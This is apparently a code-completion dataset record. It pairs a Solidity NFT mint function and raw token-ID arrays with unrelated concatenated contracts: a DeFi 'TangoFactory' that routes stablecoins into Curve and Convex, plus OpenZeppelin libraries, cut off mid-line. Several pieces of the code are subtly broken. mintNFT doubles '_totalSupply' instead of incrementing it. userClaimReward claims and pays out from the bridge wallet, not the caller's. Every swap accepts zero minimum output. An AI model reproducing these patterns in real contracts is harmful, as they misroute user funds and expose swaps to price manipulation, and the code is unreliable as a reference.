function mintNFT(uint64 nftId) external { uint256 _price = _nftPrice[nftId]; require(_price > 0, "Invalid NFT Product"); uint256 _allowance = _fundContract.allowance(_msgSender(), address(this)); require(_allowance >= _price, "Allowance Exceeded"); uint256 tokenId = _tokenIdCounter.current(); _mint(_msgSender(), tokenId); _tokenIdCounter.increment(); _fundContract.transferFrom(_msgSender(), _fundAddress, _price); _totalSupply += _totalSupply; }
5,020,662
[ 1, 654, 39, 27, 5340, 312, 474, 389, 542, 1345, 3098, 12, 2316, 548, 16, 1147, 3098, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 50, 4464, 12, 11890, 1105, 290, 1222, 548, 13, 3903, 288, 203, 3639, 2254, 5034, 389, 8694, 273, 389, 82, 1222, 5147, 63, 82, 1222, 548, 15533, 203, 3639, 2583, 24899, 8694, 405, 374, 16, 315, 1941, 423, 4464, 8094, 8863, 203, 203, 3639, 2254, 5034, 389, 5965, 1359, 273, 389, 74, 1074, 8924, 18, 5965, 1359, 24899, 3576, 12021, 9334, 1758, 12, 2211, 10019, 203, 3639, 2583, 24899, 5965, 1359, 1545, 389, 8694, 16, 315, 7009, 1359, 1312, 5816, 8863, 203, 203, 3639, 2254, 5034, 1147, 548, 273, 389, 2316, 548, 4789, 18, 2972, 5621, 203, 3639, 389, 81, 474, 24899, 3576, 12021, 9334, 1147, 548, 1769, 203, 3639, 389, 2316, 548, 4789, 18, 15016, 5621, 203, 203, 3639, 389, 74, 1074, 8924, 18, 13866, 1265, 24899, 3576, 12021, 9334, 389, 74, 1074, 1887, 16, 389, 8694, 1769, 203, 3639, 389, 4963, 3088, 1283, 1011, 389, 4963, 3088, 1283, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "./interfaces/ICurvePool.sol"; import "./TangoSmartWallet.sol"; import "./interfaces/IUniswapV2Factory.sol"; import "./interfaces/IUniswapV2Router02.sol"; import "./interfaces/ITangoSmartWallet.sol"; import "./interfaces/ITangoFactory.sol"; import "./interfaces/IWETH.sol"; import "./interfaces/ISecretBridge.sol"; contract Constant { address public constant uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public constant sushiRouter = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; address public constant uniswapV2Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; uint256 public constant deadline = 0xf000000000000000000000000000000000000000000000000000000000000000; address public constant ust = 0xa47c8bf37f92aBed4A126BDA807A7b7498661acD; address public constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public constant tango = 0x182F4c4C97cd1c24E1Df8FC4c053E5C47bf53Bef; address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; address public constant convex = 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B; address public constant sefi = 0x773258b03c730F84aF10dFcB1BfAa7487558B8Ac; address public constant curvePool = 0xB0a0716841F2Fc03fbA72A891B8Bb13584F52F2d; address public constant curveLpToken = 0x94e131324b6054c0D789b190b2dAC504e4361b53; address public constant convexDeposit = 0xF403C135812408BFbE8713b5A23a04b3D48AAE31; address public constant convexWithDrawAndClaim = 0xd4Be1911F8a0df178d6e7fF5cE39919c273E2B7B; uint256 public constant pidUST = 21; } contract TangoFactory is ITangoFactory, Constant, Ownable { using SafeERC20 for IERC20; struct UserInfo { uint256 totalCurveLpStaked; mapping(address => uint256) totalTokenInvest; } uint256 private feeOut; uint256 private feeIn; address private feeCollector; address private secretSw; mapping (address => address) public userSW; mapping (address => bool) public isSw; mapping (address => UserInfo) public usersInfo; address[] public allSWs; modifier onlySW() { require(isSw[msg.sender],"Only-tango-smart-wallet"); _; } /** * @dev allow admin set Secret Bridge's smart wallet address * @param _secretSw is TangoSmartWallet address of Secret Bridge */ function setSCRTBrdgeSW(address _secretSw) external onlyOwner() { secretSw = _secretSw; } /** * @dev swap token at UniswapV2Router with path fromToken - WETH - toToken * @param _fromToken is source token * @param _toToken is des token * @param _swapAmount is amount of source token to swap * @return _amountOut is the amount of _toToken */ function _uniswapSwapToken( address _router, address _fromToken, address _toToken, uint256 _swapAmount ) private returns (uint256 _amountOut) { if(IERC20(_fromToken).allowance(address(this), _router) == 0) { IERC20(_fromToken).safeApprove(_router, type(uint256).max); } address[] memory path; if(_fromToken == wETH || _toToken == wETH) { path = new address[](2); path[0] = _fromToken == wETH ? wETH : _fromToken; path[1] = _toToken == wETH ? wETH : _toToken; } else { path = new address[](3); path[0] = _fromToken; path[1] = wETH; path[2] = _toToken; } _amountOut = IUniswapV2Router02(_router) .swapExactTokensForTokens( _swapAmount, 0, path, address(this), deadline )[path.length - 1]; } /** * @dev add liquidity to Curve at UST poool * @param _curvePool is curve liqudity pool address * @param _param is [ust, dai, usdc, usdt] * @return amount of lp token */ function _curveAddLiquidity(address _curvePool, uint256[4] memory _param) private returns(uint256) { return ICurvePool(_curvePool).add_liquidity(_param, 0); } /** * @dev add liquidity to Curve at UST poool * @param _curvePool is curve liqudity pool address * @param _curveLpBalance is amount lp token * @return amount of lp token */ function _curveRemoveLiquidity(address _curvePool, uint256 _curveLpBalance) private returns(uint256) { return ICurvePool(_curvePool).remove_liquidity_one_coin(_curveLpBalance, 0, 0); } function calculateLpAmount(address _curvePool, uint256 _ustAmount) private returns (uint256){ return ICurvePool(_curvePool).calc_token_amount([_ustAmount, 0, 0, 0], false); } function invest(address _token, uint256 _amount) external override { address sw = userSW[msg.sender]; if(sw == address(0)) { bytes memory bytecode = type(TangoSmartWallet).creationCode; bytes32 salt = keccak256(abi.encodePacked(address(this), msg.sender)); assembly { sw := create2(0, add(bytecode, 32), mload(bytecode), salt) } TangoSmartWallet(sw).initialize(msg.sender, curveLpToken, convexDeposit); userSW[msg.sender] = sw; isSw[sw] = true; allSWs.push(sw); } IERC20(_token).safeTransferFrom(msg.sender, address(this),_amount); // take UST from user wallet if(feeIn > 0) { uint feeAmount = _amount * feeIn / 10000; IERC20(_token).safeTransfer(feeCollector, feeAmount); _amount = _amount -feeAmount; } IERC20(_token).approve(curvePool, _amount); uint256 curveLpAmount = _curveAddLiquidity(curvePool, [_amount, 0, 0, 0]); IERC20(curveLpToken).safeTransfer(sw, curveLpAmount); ITangoSmartWallet(sw).stake(convexDeposit, pidUST); UserInfo storage userInfo = usersInfo[msg.sender]; userInfo.totalCurveLpStaked = userInfo.totalCurveLpStaked + curveLpAmount; userInfo.totalTokenInvest[_token] = userInfo.totalTokenInvest[_token] + _amount; } /** * @dev invest function, create tango smart wallet for user at 1st time invest * store the TSW in userSw and isSW set as true * swap DAI, USDT, USDC to UST, then charge fee if feeIn greater than 0 * add amount UST to Curve pool (UST) then call TSW for staking to Convex * @param _param is [ust, dai, usdc, usdt] */ function invest4(uint256[4] memory _param) external override { address sw = userSW[msg.sender]; if(sw == address(0)) { bytes memory bytecode = type(TangoSmartWallet).creationCode; bytes32 salt = keccak256(abi.encodePacked(address(this), msg.sender)); assembly { sw := create2(0, add(bytecode, 32), mload(bytecode), salt) } TangoSmartWallet(sw).initialize(msg.sender, curveLpToken, convexDeposit); userSW[msg.sender] = sw; isSw[sw] = true; allSWs.push(sw); } uint256 balanceUST = IERC20(ust).balanceOf(address(this)); for(uint i = 0; i < _param.length; i++) { if(_param[i] > 0) { if(i == 3) { IERC20(usdt).safeTransferFrom(msg.sender, address(this), _param[i]); _uniswapSwapToken(uniRouter, usdt, ust, _param[i]); } if(i == 2) { IERC20(usdc).safeTransferFrom(msg.sender, address(this), _param[i]); _uniswapSwapToken(uniRouter, usdc, ust, _param[i]); } if( i == 1) { IERC20(dai).safeTransferFrom(msg.sender, address(this), _param[i]); _uniswapSwapToken(uniRouter, dai, ust, _param[i]); } } } IERC20(ust).safeTransferFrom(msg.sender, address(this), _param[0]); // take UST from user wallet balanceUST = IERC20(ust).balanceOf(address(this)) - balanceUST; // total deposit to Curve balance if(feeIn > 0) { uint feeAmount = balanceUST * feeIn / 10000; IERC20(ust).safeTransfer(feeCollector, feeAmount); balanceUST = balanceUST - feeAmount; } IERC20(ust).approve(curvePool, balanceUST); uint256 curveLpAmount = _curveAddLiquidity(curvePool, [balanceUST, 0, 0, 0]); IERC20(curveLpToken).safeTransfer(sw, curveLpAmount); ITangoSmartWallet(sw).stake(convexDeposit, pidUST); UserInfo storage userInfo = usersInfo[msg.sender]; userInfo.totalCurveLpStaked = userInfo.totalCurveLpStaked + curveLpAmount; userInfo.totalTokenInvest[ust] = userInfo.totalTokenInvest[ust] + balanceUST; } /** * @dev swap reward received from convex staking program to SEFI or TANGO * @param _amountCrv is amount Curve token received from Convex Pool * @param _amountCVX is amount Convex token received from Convex Pool * @param _owner is address of smart wallet owner that receive reward */ function swapReward(uint256 _amountCrv, uint256 _amountCVX, address _owner) private { uint256 wETHBalanceBefore = IERC20(wETH).balanceOf(address(this)); _uniswapSwapToken(uniRouter, crv, wETH, _amountCrv); _uniswapSwapToken(sushiRouter, convex, wETH, _amountCVX); uint256 tangoBalanceBefore = IERC20(tango).balanceOf(address(this)); uint256 wETHBalanceAfter = IERC20(wETH).balanceOf(address(this)); _uniswapSwapToken(uniRouter, wETH, tango, wETHBalanceAfter - wETHBalanceBefore); uint256 tangoBalanceAfter = IERC20(tango).balanceOf(address(this)); uint256 rewardAmount = tangoBalanceAfter - tangoBalanceBefore; if(feeOut > 0) { uint feeAmout = rewardAmount * feeOut / 10000; IERC20(tango).safeTransfer(feeCollector, feeAmout); rewardAmount = rewardAmount - feeAmout; } IERC20(tango).safeTransfer(_owner, rewardAmount); } function adminClaimRewardForSCRT(address _secretBridge, bytes memory _recipient) external override onlyOwner() { uint256 wETHBalanceBefore = IERC20(wETH).balanceOf(address(this)); (uint256 amountCRV, uint256 amountCVX) = ITangoSmartWallet(secretSw).claimReward(convexWithDrawAndClaim); _uniswapSwapToken(uniRouter, crv, wETH, amountCRV); _uniswapSwapToken(sushiRouter, convex, wETH, amountCVX); uint256 wETHBalanceAfter = IERC20(wETH).balanceOf(address(this)); uint256 balanceDiff = wETHBalanceAfter - wETHBalanceBefore; IWETH(wETH).withdraw(balanceDiff); ISecretBridge(_secretBridge).swap{value: balanceDiff}(_recipient); } function withdraw(uint256 _amount) external override { address sw = userSW[msg.sender]; require(sw != address(0), "User-dont-have-wallet"); require(msg.sender == ITangoSmartWallet(sw).owner(), "Only-sw-owner"); uint256 lpAmount = calculateLpAmount(curvePool ,_amount) * 105 / 100; // extra 5% ITangoSmartWallet(sw).withdraw(convexWithDrawAndClaim, lpAmount); IERC20(curveLpToken).approve(curvePool, lpAmount); uint256 balanceUST = _curveRemoveLiquidity(curvePool, lpAmount); require(balanceUST >= _amount,"Invalid-output-amount"); IERC20(ust).safeTransfer(msg.sender, balanceUST); } function userClaimReward() external override { address sw = userSW[msg.sender]; require(sw != address(0), "User-dont-have-wallet"); (uint256 amountCRV, uint256 amountCVX) = ITangoSmartWallet(secretSw).claimReward(convexWithDrawAndClaim); swapReward(amountCRV, amountCVX, ITangoSmartWallet(secretSw).owner()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ICurvePool { function add_liquidity(uint256[4] memory, uint256) external returns(uint256); function remove_liquidity_one_coin(uint256, int128, uint256) external returns(uint256); function calc_token_amount(uint256[4] memory, bool) external returns(uint256); } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./interfaces/IConvexDeposit.sol"; import "./interfaces/ITangoSmartWallet.sol"; import "./interfaces/IConvexWithdraw.sol"; import "./interfaces/ITangoFactory.sol"; contract TangoSmartWallet is ITangoSmartWallet { using SafeERC20 for IERC20; address public immutable factory; address public lpToken; uint256 public stakedBalance; address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; address public constant convex = 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B; address public override owner; event Stake(uint256 indexed amount); event WithDraw(uint256 indexed amount); modifier onlyFactory() { require(msg.sender == factory, "Opps!Only-factory"); _; } constructor() public { factory = msg.sender; } function initialize(address _owner, address _lp, address _pool) external override onlyFactory() { owner = _owner; lpToken = _lp; IERC20(_lp).approve(_pool, type(uint256).max); } function stake(address _pool, uint256 _pid) external override onlyFactory() { uint balance = IERC20(lpToken).balanceOf(address(this)); require(balance > 0, "Invalid-amount"); IConvexDeposit(_pool).depositAll(_pid, true); stakedBalance = stakedBalance + balance; emit Stake(balance); } function withdraw(address _pool, uint256 _amount) external override onlyFactory() { IConvexWithdraw(_pool).withdrawAndUnwrap(_amount, false); IERC20(lpToken).safeTransfer(msg.sender, _amount); stakedBalance = stakedBalance - _amount; emit WithDraw(_amount); } function claimReward(address _pool) external override onlyFactory() returns (uint256, uint256) { IConvexWithdraw(_pool).getReward(); uint balanceCrv = IERC20(crv).balanceOf(address(this)); uint balanceCvx = IERC20(convex).balanceOf(address(this)); return ( balanceCrv, balanceCvx ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ITangoSmartWallet { function owner() external returns(address); function initialize(address _owner, address _lp, address _pool) external; function stake(address _pool, uint256 _pid) external; function withdraw(address _pool, uint256 _amount) external; function claimReward(address) external returns (uint256, uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ITangoFactory { function withdraw(uint256 _amount) external; function invest4(uint256[4] memory _param) external; function invest(address, uint256) external; function adminClaimRewardForSCRT(address, bytes memory) external; function userClaimReward() external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IWETH { function deposit() external payable; function transfer(address to, uint256 value) external returns (bool); function withdraw(uint256) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ISecretBridge { function swap(bytes memory _recipient) external payable; } // SPDX-License-Identifier: MIT pragma solidity 